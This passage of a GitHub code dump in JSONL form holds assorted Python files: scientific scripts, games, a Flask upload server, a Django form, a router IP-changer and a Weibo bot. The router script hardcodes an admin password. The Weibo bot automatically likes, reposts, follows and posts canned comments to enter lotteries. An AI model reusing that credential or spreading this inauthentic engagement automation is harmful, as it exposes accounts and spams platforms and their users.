abs(trgt.center[2]-max(z_t))]\n ironAmt.append(numIron(trgt, x_i, y_i, z_i, iron_i, len(x_i)))\n \n\nlog = open('./Accretion_Ratios/'+directory+'-accRatios.txt', 'w')\n\ntIrn = 0\nfor n in iron_i:\n if n==True:\n tIrn += 1\nfor i in ironAmt:\n ironRat.append(i/tIrn)\nplt.plot(time, ironRat)\n\nlog.write(\"Time(hr)\\tMass Accretion Ratio\\n\")\nfor i in range(len(ironRat)):\n log.write(str(time[i])+'\\t'+str(ironRat[i])+'\\n')\n\nplt.xlabel('Time (hrs)')\nplt.ylabel('Mass Ratio of Accreted Iron to total Impactor Core Iron')\nplt.title('Iron in Target vs. Time')\nplt.savefig('./Mass_Accretion_Figs/'+directory+'.png')\n\nplt.show()\nplt.close()\nlog.close()\n \n","repo_name":"Arnav-UR/Senior_Thesis","sub_path":"Mass_Accretion.py","file_name":"Mass_Accretion.py","file_ext":"py","file_size_in_byte":3026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"21721353202","text":"from django.test import TestCase\nimport environ\nimport os\n\n# Binance imports.\nfrom binance_api.views.base_binance_api import BaseBinanceAPI\n\nenv = environ.Env()\n\n\nclass BaseBinanceAPITestCase(TestCase):\n \"\"\"\n This class help us to authenticate the requests of the endpoint, to can test the views.\n The objective is to inherit from this class, which will be in charge of authenticating the calls.\n \"\"\"\n\n def setUp(self) -> None:\n self.public_api_key = os.environ.get(\"BINANCE_PUBLIC_API_KEY\", None)\n self.secret_api_key = os.environ.get(\"BINANCE_SECRET_API_KEY\", None)\n self.api = BaseBinanceAPI(\n public_api_key=self.public_api_key,\n secret_api_key=self.secret_api_key,\n )\n\n\nclass BaseBinanceAPITestCaseTest(BaseBinanceAPITestCase):\n def test_connection(self):\n test_connection = self.api.test_connection()\n self.assertTrue(test_connection)\n\n def test_get_account_info(self):\n # Prueba la función get_account_info()\n account_info = self.api.get_account_info()\n self.assertIsInstance(account_info, dict)\n self.assertIn('balances', account_info)\n self.assertTrue(len(account_info['balances']) > 0)\n\n def test_get_trading_pairs(self):\n # Prueba la función get_trading_pairs()\n trading_pairs = self.api.get_trading_pairs()\n self.assertIsInstance(trading_pairs, list)\n self.assertTrue(len(trading_pairs) > 0)\n for pair in trading_pairs:\n self.assertIsInstance(pair, dict)\n self.assertIn('symbol', pair)\n self.assertIn('price', pair)\n\n def test_get_asset_balance(self):\n # Prueba la función get_asset_balance()\n asset_balance = self.api.get_asset_balance('BTC')\n self.assertIsInstance(asset_balance, dict)\n self.assertIn('asset', asset_balance)\n self.assertEqual(asset_balance['asset'], 'BTC')\n","repo_name":"IJMadalenA/orikan","sub_path":"binance_api/tests/base_binance_api_test.py","file_name":"base_binance_api_test.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"26732078069","text":"from random import choice\nfrom hangman_graphics import stages, logo\nfrom hangman_words import word_list\nfrom replit import clear\n\nprint(logo)\n\nchosen_word = choice(word_list)\n# print(f'Debugging: {chosen_word}')\n\nlives = 6\nend_of_game = False\n\n# display will hold remaining blanks and user's correct guesses\ndisplay = []\nfor char in chosen_word:\n display.append('_')\n\nwhile not end_of_game:\n guess = input('Guess a letter: ').lower()\n clear() # clear screen to avoid scrolling\n\n # user has already guessed correct letter\n if guess in display:\n print(f' You have already guessed {guess}.')\n\n # user makes correct guess -> display will update\n for i in range(len(chosen_word)):\n if guess == chosen_word[i]:\n display[i] = guess\n\n print(' '.join(display))\n\n # user wins if display has no blanks remaining\n if '_' not in display:\n print('You win!')\n end_of_game = True\n \n # user makes an incorrect guess -> loses a life\n if guess not in chosen_word:\n print(f\"You guessed {guess} but that's not in the word. You lose a life.\")\n lives -= 1\n # user loses if lives reaches 0\n if lives == 0:\n print(f'You lose. The correct word was {chosen_word}.')\n end_of_game = True\n\n # display hangman image relative to user's remaining lives\n print(stages[lives]) \n","repo_name":"chervinsky92/hangman","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26882158505","text":"# Aula 1 - ex1\r\n# Se você fizer uma corrida de 10 quilômetros em 43 minutos e 30 segundos, qual será seu tempo médio por milha? Qual é a sua velocidade média em milhas por hora? (Dica: há 1,61 quilômetros em uma milha).\r\nd_metros=10*1000\r\nt_seg=43*60+30\r\n\r\n# Velocidade em metros por segundo:\r\nv_ms=d_metros/t_seg\r\nprint(v_ms)\r\n\r\n# Velocidade em quilômetros por hora:\r\nv_kmh=v_ms*3.6\r\nprint(v_kmh)\r\n\r\n# Velocidade em libras por hora:\r\nl=1610\r\nv_lh=v_kmh/l\r\nprint(v_lh)\r\n\r\n# Tempo por libra:\r\nt_l=(t_seg*l)/d_metros\r\nprint(t_l)\r\n","repo_name":"luannaserqueira/Python","sub_path":"aula1_ex1.py","file_name":"aula1_ex1.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"36845816327","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom scipy.sparse.linalg import cg\nimport tensorflow as tf\nimport time\n\nnp.random.seed(3)\ntf.random.set_random_seed(3)\n\ndef conjugate_grad(A, b, x=None):\n \"\"\"\n Description\n -----------\n Solve a linear equation Ax = b with conjugate gradient method.\n\n Parameters\n ----------\n A: 2d numpy.array of positive semi-definite (symmetric) matrix\n b: 1d numpy.array\n x: 1d numpy.array of initial point\n\n Returns\n -------\n 1d numpy.array x such that Ax = b\n \"\"\"\n n = len(b)\n if not x:\n x = np.ones(n)\n r = np.dot(A, x) - b\n print (\"r init: \", r[0:5])\n p = - r\n r_k_norm = np.dot(r, r)\n for i in range(2*n): #50):\n Ap = np.dot(A, p)\n alpha = r_k_norm / np.dot(p, Ap)\n x += alpha * p\n r += alpha * Ap\n r_kplus1_norm = np.dot(r, r)\n print (\"r new: \", r_k_norm, r_kplus1_norm, r[0:5])\n beta = r_kplus1_norm / r_k_norm\n r_k_norm = r_kplus1_norm\n if r_kplus1_norm < 1e-5:\n print ('Itr:', i)\n break\n p = beta * p - r\n return x\n\ndef run():\n\n n = 10\n P = np.random.normal(size=[n, n])\n A = np.dot(P.T, P)\n b = np.ones(n)\n\n t1 = time.time()\n print ('start')\n x = conjugate_grad(A, b)\n t2 = time.time()\n print (t2 - t1)\n x2 = np.linalg.solve(A, b)\n t3 = time.time()\n print (t3 - t2, np.linalg.norm(x - x2))\n x3 = cg(A, b)[0]\n t4 = time.time()\n print (t4 - t3, np.linalg.norm(x - x3))\n\n import tensorflow as tf\n dtype = tf.float64\n with tf.name_scope('cg_vars'):\n Avar = tf.Variable(A, dtype=dtype)\n bvar = tf.Variable(b.reshape(n, 1), dtype=dtype)\n cg_step = tf.Variable(0, trainable=False, dtype=tf.int32)\n dl = tf.Variable(0, trainable=False, dtype=dtype)\n\n zeros = tf.zeros((n,1), dtype=dtype)\n ones = tf.ones((n,1), dtype=dtype)\n\n delta = tf.Variable(ones, dtype=dtype, name='delta')\n direction = tf.Variable(zeros, dtype=dtype, name='direction')\n residual = tf.Variable(zeros, dtype=dtype, name='residual')\n residual_norm = tf.Variable(0, trainable=False, dtype=dtype)\n\n print (\"cg step 1: \", cg_step)\n reset_cg_step = tf.assign(cg_step, 0)\n\n # with tf.name_scope('conjugate_gradient'):\n # # If first step, set to bAx, r\n # condition = tf.equal(cg_step, 0)\n #\n # r = tf.cond(condition, lambda: tf.assign(residual, Avar @ delta - bvar), lambda: residual)\n # with tf.control_dependencies([r]):\n # d = tf.cond(condition, lambda: tf.assign(direction, -residual), lambda: direction)\n # # with tf.control_dependencies([d]):\n # residual_norm = tf.reduce_sum(r**2)\n #\n # Ad = Avar @ d\n #\n # alpha = residual_norm / tf.reduce_sum(d * Ad)\n # beta = tf.reduce_sum((r + alpha * Ad)**2) / residual_norm\n #\n # update_delta = tf.assign(delta, delta + alpha * d, name='update_delta')\n # update_residual = tf.assign(residual, r + alpha * Ad, name='update_residual')\n # update_direction = tf.assign(direction, beta * d - (r + alpha * Ad), name='update_direction')\n\n print (\"cg step 2: \", cg_step)\n\n def cg_iter():\n with tf.name_scope('conjugate_gradient'):\n\n condition = tf.equal(cg_step, 0)\n\n r = tf.cond(condition, lambda: tf.assign(residual, Avar @ delta - bvar), lambda: residual)\n with tf.control_dependencies([r]):\n d = tf.cond(condition, lambda: tf.assign(direction, -residual), lambda: direction)\n residual_norm = tf.reduce_sum(r**2)\n\n Ad = Avar @ d\n\n alpha = residual_norm / tf.reduce_sum(d * Ad)\n beta = tf.reduce_sum((r + alpha * Ad)**2) / residual_norm\n\n update_delta = tf.assign(delta, delta + alpha * d, name='update_delta')\n update_residual = tf.assign(residual, r + alpha * Ad, name='update_residual')\n update_direction = tf.assign(direction, beta * d - (r + alpha * Ad), name='update_direction')\n\n cg_step_up = tf.assign_add(cg_step, 1)\n\n return cg_step_up, update_delta, update_residual, update_direction, residual_norm\n\n def cg_cond(cg_step, cg_delta, cg_directions, cg_residuals, residual_norm):\n return tf.less(cg_step, 2*n)\n\n def cg_body(cg_step, cg_delta, cg_directions, cg_residuals, residual_norm):\n # with tf.control_dependencies([tf.print(tf.equal(cg_step, 0))]):\n cg_step, cg_delta_update_ops, cg_directions_update_ops, cg_residuals_update_ops, residual_norm = cg_iter()\n return cg_step, cg_delta_update_ops, cg_directions_update_ops, cg_residuals_update_ops, residual_norm\n\n with tf.control_dependencies([reset_cg_step]):\n # gradients = tf.gradients(loss, vars)\n cg_op = tf.while_loop(\n cg_cond,\n cg_body,\n (cg_step, delta, direction, residual, residual_norm),\n back_prop=False,\n parallel_iterations=1)\n\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n\n step, dlt, dir, res, res_norm = sess.run(cg_op)\n print (step, res_norm)\n print (\"dist: \", np.linalg.norm(x - dlt[:,0]))\n\n # for i in range(2*n):\n # # res_norm, res = sess.run([residual_norm, r])\n # dlt, res_up, dir = sess.run([update_delta, update_residual, update_direction])\n # itr = sess.run(cg_step)\n # sess.run(tf.assign_add(cg_step, 1))\n # print (itr, \":, res, dist: \", res_up, np.linalg.norm(x - dlt[:,0]))\n #\n # x4 = sess.run(delta)\n # print (\"dist: \", np.linalg.norm(x - x4[:,0]))\n\nif __name__ == '__main__':\n run()\n","repo_name":"tpbarron/adacurv","sub_path":"experiments/mnist_tf/cg_test.py","file_name":"cg_test.py","file_ext":"py","file_size_in_byte":5790,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"71741920807","text":"from asyncio.windows_events import NULL\nfrom selenium import webdriver\nimport time\nimport tkinter as tk\nfrom requests import get\n\nwindow = tk.Tk()\nwindow.geometry(\"300x200\")\nwindow.resizable(False, False)\nwindow.title(\"IPChanger\")\n# window.iconbitmap('./files/icon.ico')\n\noptions = webdriver.ChromeOptions()\noptions.add_argument('headless')\noptions.add_argument('window-size=1920x1080')\noptions.add_argument(\"disable-gpu\")\n\n\ndef getIp():\n try:\n ipLabel.config(text=\"İp adresiniz : \" +\n get('https://api.ipify.org/').content.decode('utf8'))\n except:\n ipLabel.config(text=\"İnternet Bağlantınızı Kontrol Edin !\")\n\n\ndef getElement(xpath, driver):\n for i in range(5):\n time.sleep(1)\n element = driver.find_element_by_xpath(xpath)\n if (element != NULL):\n return element\n elif (i == 5):\n return 0\n\n\ndef setStatus(text):\n statusLabel.config(text=text)\n\n\ndef change():\n driver = webdriver.Chrome(chrome_options=options)\n\n for i in range(5):\n try:\n setStatus(\"Panele giriliyor\")\n driver.get(\"http://192.168.1.1/\")\n time.sleep(1)\n break\n except:\n setStatus('Adres Başlatılamadı ! Deneme ', i+1)\n if (i == 4):\n setStatus(\"Başarısız !\")\n driver.close()\n return\n\n for i in range(5):\n if (driver.current_url == \"http://192.168.1.1/login\"):\n setStatus(\"Giriş deneniyor\")\n\n username = driver.find_element_by_xpath('//*[@id=\"username\"]')\n password = driver.find_element_by_xpath('//*[@id=\"userpassword\"]')\n loginBtn = driver.find_element_by_xpath('//*[@id=\"loginBtn\"]')\n\n if (username == 0 or password == 0 or loginBtn == 0):\n setStatus(\"Başarısız !\")\n return 0\n\n username.send_keys(\"admin\")\n password.send_keys(\"123789546b.B\")\n\n time.sleep(1)\n loginBtn.click()\n time.sleep(1)\n\n setStatus(\"Giriş Yapıldı\")\n break\n\n for i in range(5):\n try:\n setStatus(\"Broadband ayarlarına giriliyor\")\n driver.get(\"http://192.168.1.1/Broadband\")\n time.sleep(2)\n break\n except:\n setStatus('Adres Başlatılamadı ! Deneme ' + i+1)\n if (i == 4):\n setStatus(\"Başarısız !\")\n driver.close()\n return\n\n for i in range(5):\n try:\n setStatus(\"Network ayarlarına giriliyor\")\n editBtn = driver.find_element_by_xpath(\n '/html/body/div/div/div[4]/div/div[2]/div/div/div[2]/table/tbody/tr/td[13]/span[1]/i')\n editBtn.click()\n time.sleep(2)\n except:\n setStatus('Buton bulunamadı ! Deneme ' + i+1)\n if (i == 4):\n setStatus(\"Başarısız !\")\n driver.close()\n return\n\n try:\n setStatus(\"Network ayarları kaydediliyor\")\n saveBtn = driver.find_element_by_xpath(\n '//*[@id=\"WANInterface_btnsave\"]')\n saveBtn.click()\n break\n except:\n setStatus(\"Ayarlar kaydedilemedi ! Deneme \" + i+1)\n if (i == 4):\n setStatus(\"Başarısız !\")\n driver.close()\n return\n\n setStatus(\"Başarılı !\")\n getIp()\n driver.close()\n\n\nstartButton = tk.Button(window, text=\"IP DEĞİŞTİR\", bg=\"gray\",\n fg=\"white\", border=\"0\", activebackground=\"#A9A9A9\", command=change)\nstartButton.pack()\nstartButton.place(anchor=\"n\", height=75, width=250, x=150, y=25)\n\nstatusLabel = tk.Label(window, text=\"Boşta\")\nstatusLabel.pack()\nstatusLabel.place(anchor=\"n\", x=150, y=110)\n\nipLabel = tk.Label(window, text=\"İp adresiniz : \")\nipLabel.pack()\nipLabel.place(anchor=\"n\", x=155, y=135)\n\nstartButton = tk.Button(window, text=\"Ip Güncelle\", bg=\"gray\",\n fg=\"white\", border=\"0\", activebackground=\"#A9A9A9\", command=getIp)\nstartButton.pack()\nstartButton.place(anchor=\"n\", height=25, width=75, x=155, y=160)\n\n# Start the GUI\nwindow.mainloop()\n","repo_name":"farukborann/IPChanger","sub_path":"webbot.py","file_name":"webbot.py","file_ext":"py","file_size_in_byte":4232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"37243064729","text":"import tempfile\nimport os\nimport subprocess\nimport re\nimport shutil\nimport datetime\nimport json\nfrom flask import request\nfrom flask import Flask, render_template,redirect,url_for,jsonify\nfrom werkzeug import secure_filename\n\n\n\napp = Flask(__name__)\n\napp.config['ALLOWED_EXTENSIONS'] = set(['json'])\n\n# For a given file, return whether it's an allowed type or not\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1] in app.config['ALLOWED_EXTENSIONS']\n\n# calling the home page\n@app.route('/')\ndef home():\n return render_template('home.html')\n\n# calculates the handle value which is important for storing the naf files\n@app.route('/init')\ndef gethandle():\n workdir = tempfile.mkdtemp(prefix = \"naf2json\", dir = \"/tmp\")\n handle = os.path.basename(workdir)\n cleanup()\n return handle\n\n\n@app.route('/upnaf', methods=['GET', 'POST'])\n@app.route('/upnaf/', methods=['GET', 'POST'])\ndef upload_file(handle = None):\n if handle == None:\n workdir = tempfile.mkdtemp(prefix = \"naf2json\", dir = \"/tmp\")\n handle = os.path.basename(workdir)\n else:\n workdir = \"/tmp/\" + handle\n if request.method == 'POST':\n f = request.files['files[]']\n f.save(workdir + \"/\" + secure_filename(f.filename))\n json = subprocess.check_output([\"./doit\", workdir])\n cleanup()\n return json\n\n\n@app.route('/upjson', methods=['GET', 'POST'])\n@app.route('/upjson/', methods=['GET', 'POST'])\ndef upload(handle = None):\n if handle == None:\n workdir = tempfile.mkdtemp(prefix=\"jsonfile\",dir=\"/tmp\")\n handle = os.path.basename(workdir)\n else:\n workdir = '/tmp/' + handle\n if request.method == \"POST\":\n uploaded_file= request.files[\"file[]\"]\n if uploaded_file and allowed_file(uploaded_file.filename):\n uploaded_file.save(workdir + \"/\" + secure_filename(uploaded_file.filename))\n\n with open(workdir + \"/\" + secure_filename(uploaded_file.filename)) as json_file:\n json_data = json.load(json_file)\n return jsonify(**json_data)\n\n\n@app.route('/getnaf', methods=['GET', 'POST'])\ndef naf2json():\n workdir = '/home/marla/newTimelineApp/app/static/naf'\n json = subprocess.check_output([\"./doit\", workdir])\n cleanup()\n return json\n\n\n@app.route('/finit/')\ndef cleanhandle(handle = None):\n workdir = \"/tmp/\" + handle\n shutil.rmtree(workdir)\n cleanup()\n return 0\n\ndef root():\n return os.path.dirname(__file__)\n\npat = re.compile('naf2json\\w*')\n\ndef cleanup():\n for filename in os.listdir(\"/tmp\"):\n if pat.match(filename):\n filepath = \"/tmp/\" + filename\n filemodified = datetime.datetime.fromtimestamp(os.path.getmtime(filepath))\n existtime = datetime.datetime.now() - filemodified\n if existtime.total_seconds() > 7200:\n shutil.rmtree(filepath) \n\n\nif __name__ == '__main__':\n# app.debug = True\n app.run(debug=True)\n","repo_name":"newsreader/y3demos","sub_path":"2015timelineDemo/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"2793934915","text":"\"\"\"\n2D Rectilinear Model\n--------------------\nThis 2D rectilinear model defines a grid with straight cell boundaries.\n\n\"\"\"\n\n#%%\nfrom geobipy import StatArray\nfrom geobipy import RectilinearMesh2D\nfrom geobipy import Model\nimport h5py\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n#%%\n# Specify some cell centres in x and y\nx = StatArray(np.arange(11.0), 'Easting', 'm')\ny = StatArray(np.arange(11.0), 'Northing', 'm')\nmesh = RectilinearMesh2D(x_edges=x, y_edges=y)\n\nxx, yy = np.meshgrid(mesh.x.centres, mesh.y.centres)\nvalues = StatArray(np.sin(np.sqrt(xx ** 2.0 + yy ** 2.0)), \"Values\")\n\nmod = Model(mesh=mesh, values = values)\n\nplt.figure()\nmod.pcolor()\n\nmod2 = mod.resample(0.5, 0.5)\nmod3 = mod.resample(1.5, 1.5)\nplt.figure()\nplt.subplot(121)\nmod2.pcolor()\nplt.axis('equal')\nplt.subplot(122)\nmod3.pcolor()\nplt.axis('equal')\n\n\n# ################################################################################\n# # We can plot the mesh in 3D!\n# pv = rm.pyvista_plotter()\n# pv.show()\n\n# rm.to_vtk('Model3D.vtk')\n\nwith h5py.File('Model2D.h5', 'w') as f:\n mod.toHdf(f, 'model')\n\nwith h5py.File('Model2D.h5', 'r') as f:\n mod2 = Model.fromHdf(f['model'])\n\n\nplt.show()","repo_name":"DOI-USGS/geobipy","sub_path":"docs/_downloads/b65392b576618a906ad35b58f026489b/plot_model_2d.py","file_name":"plot_model_2d.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"53"}
+{"seq_id":"38273619975","text":"def bubbleSort(xlist):\n for num in range(len(xlist)-1, 0, -1):\n for i in range(num):\n if xlist[i] > xlist[i+1]:\n temp = xlist[i]\n xlist[i] = xlist[i+1]\n xlist[i+1] = temp\n return xlist\n\n\nif __name__ == '__main__':\n x = input('please type an array in format 1 2 5 10: ')\n xlist = x.split(' ')\n xlist = [int(xlist[i]) for i in range(len(xlist))]\n bubbleSort(xlist)\n print(xlist)\n","repo_name":"wenhe1018/cpnm_course","sub_path":"bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"18788430060","text":"# -*- coding: utf-8 -*-\nimport time\nimport json\nfrom selenium import webdriver\nfrom loguru import logger\nimport random\n\nchrome_driver = r\"./chromedriver\"\n\n\nclass WB:\n def __init__(self):\n\n # 读参数信息\n with open('data.json', 'r') as file:\n data = json.load(file)\n self.username = data['username']\n self.password = data['password']\n self.refreshTime = data['refreshTime']\n self.isShow = data['isShow']\n self.isRepeatForward = data['isRepeatForward']\n logger.info(data)\n\n # 浏览器参数设置\n option = webdriver.ChromeOptions()\n if self.isShow == 'False':\n option.add_argument('--headless')\n option.add_argument('--no-sandbox')\n option.add_argument('--disable-dev-shm-usage')\n option.add_argument('--disable-gpu')\n option.add_experimental_option('mobileEmulation', {'deviceName': 'iPhone X'})\n option.add_experimental_option(\"prefs\", {\"profile.managed_default_content_settings.images\": 2})\n self.driver = webdriver.Chrome(chrome_options=option, executable_path=chrome_driver) # 选择Chrome浏览器\n self.driver.implicitly_wait(30) # 隐性等待\n\n def login(self):\n\n time.sleep(2)\n self.driver.find_element_by_class_name(\"b-left\").click()\n\n # 登陆\n time.sleep(3)\n self.driver.find_element_by_id(\"loginName\").send_keys(self.username)\n self.driver.find_element_by_id(\"loginPassword\").send_keys(self.password)\n self.driver.find_element_by_id(\"loginAction\").click()\n\n # sleep给浏览器留出反应时间\n time.sleep(5)\n\n def thisClick(self, element):\n try:\n self.driver.execute_script(\"arguments[0].click();\", element)\n time.sleep(2)\n except Exception as e:\n logger.error(e)\n\n def start(self):\n\n # 登陆微博\n self.driver.get(\"https://m.weibo.cn/login?backURL=https%3A%2F%2Fm.weibo.cn%2F\")\n self.login()\n time.sleep(3)\n\n while True:\n try:\n # 开始转发抽奖信息\n self.forward()\n time.sleep(int(self.refreshTime))\n\n except Exception as e:\n logger.error(e)\n\n\n def scroll(self):\n \"\"\"该函数用户下滑页面\"\"\"\n\n num = random.randint(2, 10)\n logger.info(\"下滑次数为:\" + str(num))\n\n for i in range(num):\n self.driver.execute_script(\"var q=document.documentElement.scrollTop=300000\")\n time.sleep(3)\n\n def forward(self):\n\n # 搜索抽奖信息\n self.driver.get('https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D%E6%8A%BD%E5%A5%96')\n time.sleep(3)\n\n # 下滑页面以获取更多的抽奖信息\n self.scroll()\n\n # 获取抽奖微博\n elements = self.driver.find_elements_by_css_selector(\".weibo-member .card-wrap\")\n element = random.choice(elements)\n text = element.find_element_by_class_name(\"weibo-og\").text\n\n logger.info(\"该页面微博数量为:\" + str(len(elements)))\n logger.info(\"待转发微博为:\" + text)\n\n with open('./record.txt', \"r\") as f:\n previous = f.read()\n\n # 判断是否曾转发\n if not previous.count(text):\n\n # 进入详情页\n self.thisClick(element.find_element_by_css_selector(\".weibo-og .weibo-text\"))\n\n # 执行微博点赞操作\n self.thisClick(self.driver.find_element_by_css_selector(\".lite-page-editor .lite-iconf-like\"))\n\n '''\n # 执行微博评论的点赞操作\n like=self.driver.find_elements_by_class_name('lite-iconf-like');\n for i in like:\n self.thisClick(i) # 点赞\n '''\n\n # 转发+评论\n values = ['中奖选我选我选我', '你这条转发评论是最近的巅峰',\n '好运锦鲤 捞我吧', '祝我好运',\n '所有好运非你莫鼠', '人生不长唯有暴富',\n '何以解忧,唯有暴富', '何以解忧,唯有中奖', ]\n value = random.choice(values)\n self.thisClick(self.driver.find_element_by_class_name(\"lite-iconf-report\")) # 转发\n self.driver.find_element_by_css_selector(\".m-pos-r textarea\").send_keys(value)\n self.thisClick(self.driver.find_element_by_class_name(\"m-checkbox\")) # 同时评论\n self.thisClick(self.driver.find_element_by_class_name(\"m-send-btn\")) # 发送\n\n # 关注\n self.thisClick(self.driver.find_element_by_css_selector(\".weibo-top .m-avatar-box a\"))\n followBtns = self.driver.find_elements_by_class_name(\"m-followBtn\")\n for i in followBtns:\n self.thisClick(i) # 关注\n\n logger.info(text + \" 评论内容:\" + value)\n\n # 记入文件\n f = open('转发点赞记录.txt', \"a+\")\n f.write(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()) + \",\" + text + \" 评论内容:\" + value + '\\r')\n f.close()\n\n else:\n\n if previous.count(text):\n logger.info(\"已转发\")\n if len(element.find_elements_by_css_selector(\".weibo-og\")) <= 0:\n logger.info(\"无法进入详情页\")\n\n logger.info(\"************************\")\n\n\nif __name__ == '__main__':\n wb = WB()\n wb.start()\n","repo_name":"a-bean-sprout/automatic_control_browser","sub_path":"weibo_repost_lottery.py","file_name":"weibo_repost_lottery.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"17544743593","text":"import socket\r\nimport threading\r\nimport random\r\n\r\ndef handle_client(client_socket):\r\n while True:\r\n request = client_socket.recv(1024).decode('utf-8')\r\n if not request:\r\n break\r\n operation, tal1, tal2 = request.split(\";\")\r\n tal1, tal2 = int(tal1), int(tal2)\r\n \r\n if operation == \"Random\":\r\n response = str(random.randint(tal1, tal2))\r\n elif operation == \"Add\":\r\n response = str(tal1 + tal2)\r\n elif operation == \"Subtract\":\r\n response = str(tal1 - tal2)\r\n else:\r\n response = \"Invalid Operation\"\r\n \r\n client_socket.send(response.encode('utf-8'))\r\n client_socket.close()\r\n\r\ndef server():\r\n server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n server_socket.bind((\"0.0.0.0\", 7))\r\n server_socket.listen(5)\r\n print(\"Server is listening\")\r\n\r\n while True:\r\n client_socket, addr = server_socket.accept()\r\n print(f\"Accepted connection from {addr}\")\r\n client_handler = threading.Thread(target=handle_client, args=(client_socket,))\r\n client_handler.start()\r\n\r\nif __name__ == \"__main__\":\r\n server()","repo_name":"NikolajNK/Pythonopg4","sub_path":"Opg4/serveropg4.py","file_name":"serveropg4.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"22343098348","text":"# Configuration file for the Sphinx documentation builder.\n#\n# For the full list of built-in configuration values, see the documentation:\n# https://www.sphinx-doc.org/en/master/usage/configuration.html\n\n# -- Project information -----------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#project-information\n\nimport os\nimport sys\n\nsys.path.insert(0, os.path.abspath('..'))\n\nproject = 'Лабораторный Практикум и Курс Лекций'\ncopyright = '2023, Демидовский А.В.'\nauthor = 'Демидовский А.В. и другие'\n\n# -- General configuration ---------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration\n\nextensions = [\n 'sphinx_design',\n 'sphinx.ext.autodoc',\n 'sphinx.ext.autosummary',\n 'docxbuilder',\n 'sphinx.ext.napoleon'\n]\n\ntemplates_path = ['_templates']\nexclude_patterns = []\n\n# -- Options for HTML output -------------------------------------------------\n# https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output\n\nhtml_theme = 'sphinx_rtd_theme'\nhtml_static_path = ['_static']\n# html_title = project\nhtml_logo = '_static/fal_logo.jpeg'\n","repo_name":"fipl-hse/fipl-hse.github.io","sub_path":"source/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"3584426280","text":"from cities_light.models import City\nfrom django import forms\nfrom django.utils import timezone\n\nfrom eventsapp.models import Events\n\n\nclass AddEventForm(forms.ModelForm):\n class Meta:\n model = Events\n fields = ['title', 'description', 'start_time', 'end_time', 'country', 'city', 'address', 'category', 'ticket_quantity', 'image']\n widgets = {\n 'start_time': forms.DateTimeInput(attrs={'type': 'datetime-local'}),\n 'end_time': forms.DateTimeInput(attrs={'type': 'datetime-local'}),\n 'country': forms.Select(attrs={'id': 'id_country'}),\n 'city': forms.Select(attrs={'id': 'id_city'}),\n 'address': forms.TextInput(attrs={'placeholder': 'example: YourStreetName 1'}),\n }\n\n def __init__(self, *args, **kwargs):\n self.request = kwargs.pop('request', None)\n super().__init__(*args, **kwargs)\n self.fields['country'].empty_label = \"choose country\"\n country = self['country'].value()\n self.fields['category'].empty_label = \"choose category\"\n if country:\n self.fields['city'].queryset = City.objects.filter(country_id=country)\n else:\n self.fields['city'].empty_label = \"choose city\"\n self.fields['city'].queryset = City.objects.none()\n\n def save(self, commit=True):\n instance = super().save(commit=False)\n if self.request:\n instance.organizer = self.request.user # Встановити організатора з об'єкта request\n if commit:\n instance.save()\n return instance\n\n def clean_city(self):\n city = self.cleaned_data.get('city')\n country = self.cleaned_data.get('country')\n if city and country and city.country != country:\n raise forms.ValidationError(\"City does not belong to selected country.\")\n return city\n\n def clean_start_time(self):\n start_time = self.cleaned_data.get('start_time')\n current_time = timezone.now()\n if start_time.date() == current_time.date() or start_time < current_time:\n raise forms.ValidationError(\"The start time of the event cannot be on the current day or earlier.\")\n return start_time\n\n def clean_end_time(self):\n end_time = self.cleaned_data.get('end_time')\n start_time = self.cleaned_data.get('start_time')\n if start_time and end_time and start_time >= end_time:\n raise forms.ValidationError(\"The start time of the event must be less than the end time.\")\n return end_time\n","repo_name":"NikitaVishnyak/eventtracker","sub_path":"eventtracker/eventsapp/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":2563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
